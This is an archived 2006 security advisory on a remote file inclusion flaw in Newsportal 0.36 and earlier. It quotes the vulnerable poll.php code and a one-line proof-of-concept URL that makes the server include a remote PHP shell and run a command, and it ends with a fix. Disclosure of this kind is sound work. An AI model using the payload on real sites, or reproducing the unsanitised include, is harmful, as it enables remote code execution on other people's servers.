|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Newsportal <= 0.36 Remote File Inclusion Vulnerability
philipp.niedziela
gmx.de
Date: Wed May 17 2006 - 09:19:49 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Newsportal <= 0.36 Remote File Inclusion Vulnerability
[+] Affected Software: Newsportal <= 0.36 + register_globals=on
[+] Vendor: http://florian-amrhein.de/newsportal
[+] Contact. philipp.niedziela
gmx.de
[+] Vuln discovered by: Florian Amrhein
[+] PoC by: Philipp Niedziela
// CODE [newsportal]/extras/poll/poll.php --------------------------------------------
<?
// experimental!
// fills article-cache
$url=explode("/",$PATH_INFO);
$group=$url[1];
include "config.inc";
$title.= ' - '.$group;
include "head.inc"; ?>
<a name="top"></a>
<h1 align="center"><?php echo $group; ?></h1>
<p>Lese Overview- und Artikeldaten ein...</p>
<?
// -----> VULN
include("$file_newsportal");
// <----- VULN
$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
$headers = readOverview($ns,$group,1,true);
closeNNTPconnection($ns);
}
?>
<p align="right"><a href="#top"><? echo $text_thread["button_top"];?></a></p>
<? include "tail.inc"; ?>
// CODE --------------------------------------------
[+] PoC:
http://[url]/[pathtonewsportal]/extras/poll/poll.php?file_newsportal=http://localhost/phpshell.txt?cmd=uname -a
[+] Solution: Upgrade to 0.37 || del. [newsportal]/extras/poll/poll.php
[+] Greets: Lenni :)
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]